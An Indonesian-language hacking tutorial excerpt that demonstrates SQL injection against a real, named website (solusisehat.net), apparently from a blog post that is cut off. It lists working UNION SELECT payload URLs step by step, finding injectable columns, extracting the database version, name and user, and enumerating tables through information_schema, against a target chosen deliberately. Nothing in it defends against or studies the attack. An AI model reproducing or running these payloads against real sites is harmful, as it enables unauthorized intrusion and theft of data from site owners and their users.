contoh target kita kali ini dari dalam negeri ajah ya... :)

http://www.solusisehat.net/berita.php?id=227

keluarin magic numbernya

http://www.solusisehat.net/berita.php?id=-227 union select 1,2,3,4,5,6,7--

angka2 yang keluar adalah 2, 3 dan 5 <-- thats our magic number

sekarang coba kita liat versi, database dan user dari target

http://www.solusisehat.net/berita.php?id=-227%20union%20select%201,version(),database(),4,user(),6,7--

nah udah keliatankan versi, nama database sama usernya? ternyata versi 5 euy... :)

sekarang kita liat table2 yang ada didalam databasenya

disini gw make command information_schema untuk ngeluarin table sama columnnya.

http://www.solusisehat.net/berita.php?id=-227%20union%20select%201,group_concat(table_name),database(),4,user(),6,7%20from%20information_schema.tables%20w ... Read more »